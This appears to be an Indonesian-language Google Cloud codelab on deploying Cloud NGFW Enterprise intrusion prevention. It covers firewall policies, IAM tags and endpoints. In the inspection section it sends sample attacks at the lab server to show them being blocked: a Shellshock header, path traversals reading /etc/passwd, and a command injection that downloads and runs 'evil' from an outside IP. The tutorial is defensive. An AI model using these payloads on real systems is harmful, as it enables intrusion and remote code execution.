1. Pengantar
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall adalah layanan firewall yang terdistribusi sepenuhnya dengan kemampuan perlindungan tingkat lanjut, segmentasi mikro, dan cakupan yang luas untuk melindungi workload Google Cloud Anda dari serangan internal dan eksternal.
Cloud NGFW memiliki manfaat berikut:
- Layanan firewall terdistribusi: Cloud NGFW menyediakan penerapan berbasis host yang stateful dan terdistribusi sepenuhnya pada setiap workload untuk mengaktifkan arsitektur keamanan zero-trust.
- Konfigurasi dan deployment yang disederhanakan: Cloud NGFW menerapkan kebijakan firewall jaringan dan hierarkis yang dapat dilampirkan ke node hierarki resource. Kebijakan ini memberikan pengalaman firewall yang konsisten di seluruh hierarki resource Google Cloud.
- Kontrol terperinci dan mikro-segmentasi: Kombinasi kebijakan firewall dan Tag yang dikelola Identity and Access Management (IAM) memberikan kontrol yang baik untuk traffic utara-selatan dan timur-barat, hingga ke satu VM, di seluruh jaringan Virtual Private Cloud (VPC) dan organisasi.
Cloud NGFW tersedia di tingkat berikut:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise menambahkan Intrusion Prevention Service (IPS), kemampuan Lapisan 7, ke fabric Google Cloud Firewall yang terdistribusi. Pemeriksaan TLS didukung untuk mengizinkan pemeriksaan traffic terenkripsi TLS, tetapi tidak termasuk dalam cakupan codelab ini (lihat Codelab Cloud NGFW Enterprise dengan Pemeriksaan TLS).
Sekarang Anda dapat men-deploy pemeriksaan Next Generation Firewall (NGFW) Lapisan 7 yang andal dengan kontrol terperinci, tanpa melakukan perubahan apa pun pada arsitektur jaringan atau konfigurasi perutean.
Untuk mengaktifkan dan men-deploy kontrol firewall Lapisan 7 dengan IPS, Anda perlu melakukan tugas berikut:
- Membuat sekumpulan endpoint firewall zona yang dikelola Google Cloud.
- Secara opsional, buat Kebijakan Pemeriksaan TLS (tidak dibahas dalam codelab ini)
- Secara opsional, buat Konfigurasi Kepercayaan (tidak dibahas dalam codelab ini)
- Kaitkan endpoint ini dengan jaringan Virtual Private Cloud (VPC) tempat Anda memerlukan layanan Cloud NGFW Enterprise.
- Lakukan perubahan sederhana pada kebijakan firewall dan aturan firewall yang ada untuk menentukan profil pencegahan ancaman bagi berbagai jalur traffic.
Kebijakan firewall jaringan
Kebijakan firewall jaringan berfungsi sebagai penampung untuk aturan firewall. Aturan yang ditentukan dalam kebijakan firewall jaringan tidak diterapkan di mana pun hingga kebijakan dikaitkan dengan jaringan VPC. Setiap jaringan VPC dapat memiliki satu kebijakan firewall jaringan yang terkait. Kebijakan firewall jaringan mendukung Tag yang diatur IAM (atau hanya Tag) dalam aturan firewall, yang menggantikan tag jaringan saat ini dan dapat digunakan untuk memberikan identitas ke workload.
Membagikan kebijakan firewall jaringan di seluruh jaringan dan integrasi dengan Tag yang diatur IAM sangat menyederhanakan konfigurasi dan pengelolaan firewall.
Dengan diperkenalkannya kebijakan firewall jaringan, kebijakan firewall Google Cloud kini terdiri dari komponen berikut:
- Kebijakan Firewall Hierarkis
- Aturan Firewall VPC
- Kebijakan Firewall Jaringan ( Global dan Regional)
Kebijakan firewall hierarkis didukung di node organisasi dan folder dalam hierarki resource, sedangkan aturan firewall VPC dan kebijakan firewall jaringan diterapkan di tingkat VPC. Perbedaan besar antara aturan firewall VPC dan kebijakan firewall jaringan adalah aturan firewall VPC hanya dapat diterapkan ke satu jaringan VPC, sedangkan kebijakan firewall jaringan dapat dilampirkan ke satu VPC atau grup VPC, di antara manfaat lainnya seperti update batch.
Terakhir, kita juga memiliki aturan firewall tersirat yang disertakan dengan setiap jaringan VPC:
- Aturan keluar yang tindakannya adalah izinkan, tujuannya adalah 0.0.0.0/0
- Aturan masuk yang tindakannya adalah tolak, sumbernya adalah 0.0.0.0/0
Secara default, urutan penerapan ditampilkan dalam diagram berikut:
Perhatikan bahwa urutan penerapan antara aturan firewall VPC dan kebijakan firewall jaringan global dapat ditukar. Pelanggan dapat menentukan urutan penerapan kapan saja dengan perintah gcloud.
Tag yang diatur IAM
Tag yang terintegrasi dalam aturan kebijakan firewall jaringan yang baru adalah resource key-value pair yang ditentukan di organisasi atau tingkat project hierarki resource Google Cloud. Tag tersebut berisi kontrol akses IAM, seperti namanya, yang menentukan siapa yang dapat melakukan tindakan apa pada tag. Misalnya, izin IAM memungkinkan seseorang menentukan akun utama mana yang dapat menetapkan nilai ke tag dan akun utama mana yang dapat melampirkan tag ke resource. Setelah Tag diterapkan ke resource, aturan firewall jaringan dapat menggunakannya untuk mengizinkan dan menolak traffic.
Tag mematuhi model resource pewarisan Google Cloud, yang berarti tag dan nilainya diteruskan ke seluruh hierarki dari induknya. Akibatnya, tag dapat dibuat di satu tempat, lalu digunakan oleh folder dan project lain di seluruh hierarki resource. Buka halaman ini untuk mengetahui detail tentang tag dan pembatasan akses.
Tag tidak boleh sama dengan tag jaringan. Yang terakhir adalah string yang dapat ditambahkan ke instance Compute Engine; string ini dikaitkan dengan instance dan akan hilang saat instance dinonaktifkan. Aturan firewall VPC dapat mencakup tag jaringan, tetapi karena tidak dianggap sebagai resource cloud, aturan tersebut tidak tunduk pada kontrol akses IAM.
Perhatikan bahwa Tag dan Tag yang diatur IAM digunakan secara bergantian dalam dokumen ini.
Yang akan Anda bangun
Codelab ini memerlukan satu project dan kemampuan untuk membuat jaringan VPC dengan konektivitas publik, dan akan menunjukkan cara Cloud NGFW Enterprise dapat menyediakan fungsi IPS dengan:
- Memeriksa alur intra-VPC/subnet [Timur-Barat]
- Memeriksa alur masuk dari Internet [Utara-Selatan]
Aliran yang akan diperiksa akan dipilih menggunakan parameter pencocokan Cloud Firewall, termasuk 5-tuple (IP sumber, IP tujuan, protokol, port sumber, port tujuan) dan Tag. Pemeriksaan TLS tidak disertakan dalam codelab ini.
Basis aturan kebijakan firewall jaringan akan mirip dengan tabel di bawah:
Prioritas | Arah | Target | Sumber | Tujuan | Tindakan | Jenis |
100 | Keluar | Quarantine_Tag | Semua | Semua | Tolak | Essentials |
1000 | Masuk | Server_Tag | Rentang Health Check | Semua | Izinkan | Essentials |
2000 | Masuk | Semua | Rentang Identity-Aware Proxy | Semua | Izinkan | Essentials |
3000 | Masuk | Semua | Geo, GCTI | Semua | Tolak | Standar |
4000 | Keluar | Semua | Semua | Geo, GCTI | Tolak | Standar |
5000 | Keluar | Semua | Semua | FQDN update sistem | Izinkan | Standar |
6000 | Masuk | Server_Tag | 10.0.0.0/24 | Semua | IPS | Enterprise |
7.000 | Masuk | Server_Tag | CloudNAT_IP | Semua | IPS | Enterprise |
Yang akan Anda pelajari
- Cara membuat kebijakan firewall jaringan global
- Cara membuat dan menggunakan Tag dengan kebijakan firewall jaringan
- Cara mengonfigurasi dan menggunakan Layanan Pencegahan Penyusupan Cloud NGFW Enterprise
Yang Anda butuhkan
- Project Google Cloud
- Pengetahuan tentang cara men-deploy instance dan mengonfigurasi komponen jaringan
- Pengetahuan konfigurasi firewall VPC
2. Sebelum memulai
Membuat/memperbarui variabel
Codelab ini menggunakan $variables untuk membantu penerapan konfigurasi gcloud di Cloud Shell.
Di Cloud Shell, jalankan perintah di bawah ini dengan mengganti informasi dalam tanda kurung sesuai kebutuhan (lewati penetapan project jika project yang diinginkan sudah ditetapkan). Variabel yang berbeda digunakan untuk resource tingkat organisasi jika beberapa endpoint firewall diperlukan.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. Mengaktifkan API
Aktifkan API jika Anda belum melakukannya:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Pembuatan Endpoint dan Profil Keamanan Cloud NGFW Enterprise
Karena pembuatan Endpoint Enterprise Cloud NGFW memerlukan waktu sekitar 20 menit, endpoint akan dibuat terlebih dahulu dan penyiapan dasar dapat dilakukan secara paralel saat endpoint sedang dibuat.
Buat Profil Keamanan dan Grup Profil Keamanan:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
Output yang diharapkan:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
Konfirmasi bahwa resource berhasil dibuat:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Output yang diharapkan:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Buat endpoint Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
Jalankan perintah di bawah untuk mengonfirmasi bahwa endpoint sedang dibuat (STATUS: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
Atau, jalankan perintah di bawah untuk mendapatkan detail selengkapnya:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Output yang diharapkan:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
Proses pembuatan endpoint memerlukan waktu sekitar 20 menit. Lanjutkan ke bagian Penyiapan Dasar untuk membuat resource yang diperlukan secara paralel.
5. Penyiapan Dasar
Lanjutkan ke bagian berikut jika Anda lebih suka membuat resource dasar secara manual.
Jaringan dan subnet VPC
Jaringan VPC dan subnet
Buat jaringan VPC dan subnet:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Buat Cloud Router dan gateway Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instance
Buat instance klien dan server web:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
Tag tingkat project
Tetapkan izin tagAdmin dan/atau tagUser kepada pengguna jika diperlukan:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
Buat kunci dan nilai Tag tingkat project:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
Mengikat tag ke instance:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Kebijakan firewall jaringan global
Buat kebijakan firewall jaringan global:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
Buat aturan Cloud Firewall Essential untuk menolak traffic dari instance yang dikarantina (hanya dibuat sebagai contoh, tidak digunakan dalam codelab ini) dan mengizinkan traffic dari rentang health check dan identity-aware proxy:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
Buat aturan Cloud Firewall Standard untuk menolak traffic masuk dan keluar dari/ke negara yang diembargo, IP berbahaya yang diketahui, dan node keluar ToR; dan hanya mengizinkan traffic keluar ke FQDN tertentu untuk update sistem (hanya dibuat sebagai contoh, tidak digunakan dalam codelab ini):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Buat aturan Cloud Firewall untuk mengizinkan traffic masuk east-west / intra-subnet dan north-south / internet dari rentang tertentu (aturan ini akan diperbarui untuk mengaktifkan Cloud NGFW Enterprise):
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Kaitkan kebijakan firewall jaringan ke jaringan VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
Load Balancer Jaringan TCP/UDP Eksternal
Mencadangkan alamat IP eksternal dan membuat grup instance serta health check:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
Buat layanan backend dan aturan penerusan:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. Asosiasi Endpoint Cloud NGFW Enterprise
Tentukan ulang variabel lingkungan jika perlu.
Pastikan pembuatan Endpoint Cloud Firewall berhasil diselesaikan. Hanya lanjutkan setelah status ditampilkan sebagai AKTIF (selama pembuatan, status yang diharapkan adalah PEMBENTUKAN):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
Atau, jalankan perintah di bawah untuk mendapatkan detail selengkapnya:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Output yang diharapkan:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Kaitkan endpoint Cloud NGFW Enterprise ke jaringan VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
Proses pengaitan memerlukan waktu sekitar 10 menit. Hanya lanjutkan setelah status ditampilkan sebagai ACTIVE (status yang diharapkan adalah CREATING selama proses pembuatan):
gcloud network-security firewall-endpoint-associations list
Output yang diharapkan:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
Atau, jalankan perintah di bawah untuk mendapatkan detail selengkapnya:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Output yang diharapkan:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Aturan Inspeksi Cloud NGFW Enterprise
Buka tab baru dan mulai koneksi SSH ke VM klien melalui IAP (Anda harus menentukan variabel lagi di tab baru):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Tentukan variabel yang diperlukan dalam sesi SSH dan tetapkan variabel (pastikan nilainya sudah benar):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
curl kedua IP untuk mengonfirmasi bahwa keduanya dapat dijangkau:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
Hasil yang diharapkan untuk kedua permintaan curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
Kirim contoh serangan ke IP server internal (traffic Timur-Barat / intra-VPC). Server web harus merespons semua permintaan, yang mengonfirmasi bahwa tidak ada pemeriksaan/pencegahan L7:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Kirim ulang contoh serangan ke IP server eksternal melalui Cloud NAT (traffic masuk Utara-Selatan), dan server web juga harus merespons semua permintaan:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Hasil yang diharapkan untuk IP publik dan pribadi:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Beralih kembali ke Cloud Shell dan perbarui aturan ingress yang ada untuk mengaktifkan pemeriksaan L7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Secara opsional, jelaskan aturan firewall untuk memverifikasi bahwa keduanya berhasil diperbarui:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Output yang diharapkan:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Aturan 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Output yang diharapkan:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Beralih kembali ke VM klien dan kirim ulang contoh serangan ke IP server internal (pemeriksaan Intra-VPC / East-West):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Kirim ulang contoh serangan ke IP server eksternal melalui Cloud NAT (pemeriksaan masuk Utara-Selatan):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Tidak ada respons yang diterima untuk serangan pertama sesuai dengan output yang diharapkan di bawah, yang mengonfirmasi bahwa serangan dengan tingkat keparahan tinggi kini diblokir.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Buka Network Security > Threats di Konsol Cloud untuk memverifikasi log (Anda mungkin perlu memuat ulang beberapa kali jika serangan belum ditampilkan).
Pilih salah satu serangan, lalu klik "Lihat log audit" di sisi kanan (buka di tab baru untuk beralih kembali dengan mudah). Luaskan serangan untuk menampilkan detailnya:
Atau, ganti filter Log Explorer dengan kueri di bawah:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
Entri log ancaman akan terlihat seperti di bawah ini:
Paket yang dicegat Cloud Firewall dapat diverifikasi menggunakan filter Log Explorer di bawah (berguna untuk tujuan pemecahan masalah):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
Lanjutkan ke pemeriksaan traffic Internet (opsional) atau tutup sesi SSH dan lanjutkan ke bab berikutnya untuk mengetahui langkah-langkah pembersihan.
[Opsional] Pemeriksaan traffic internet
Seperti yang diverifikasi di bagian sebelumnya, alur yang diperiksa sejauh ini adalah intra-subnet/VPC (Timur-Barat) dan traffic masuk dari Internet (masuk Utara-Selatan). Cloud NGFW Enterprise juga dapat dikonfigurasi untuk memeriksa semua traffic internet (keluar Utara-Selatan) dengan membuat aturan keluar baru menggunakan Cloud Shell:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Beralih kembali ke VM klien dan kirim ulang serangan dengan tingkat keparahan tinggi ke IP server eksternal:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
Output yang diharapkan:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
Beralihlah ke tab Ancaman di Cloud Console untuk memverifikasi log (Anda mungkin perlu memuat ulang beberapa kali). Serangan seharusnya telah diidentifikasi dan dicatat lagi, tetapi sekarang IP sumbernya bersifat internal karena aturan keluar dipicu terlebih dahulu:
Tutup sesi SSH dan lanjutkan ke bagian berikutnya untuk langkah-langkah pembersihan.
8. Langkah-langkah Pembersihan
Pembersihan Komponen Cloud NGFW Enterprise
Mencantumkan pengaitan Cloud NGFW Enterprise yang ada:
gcloud network-security firewall-endpoint-associations list
Hapus pengaitan Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Mencantumkan endpoint Cloud NGFW Enterprise yang ada:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Hapus endpoint Cloud NGFW Enterprise, yang dapat memerlukan waktu sekitar 20 menit:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
Pastikan Cloud NGFW Enterprise telah dihapus dengan menjalankan perintah di bawah:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Hapus Grup Profil Keamanan dan Profil Pencegahan Ancaman:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
Pembersihan Penyiapan Dasar
Lanjutkan ke langkah berikutnya jika Anda memilih untuk menghapus resource dasar.
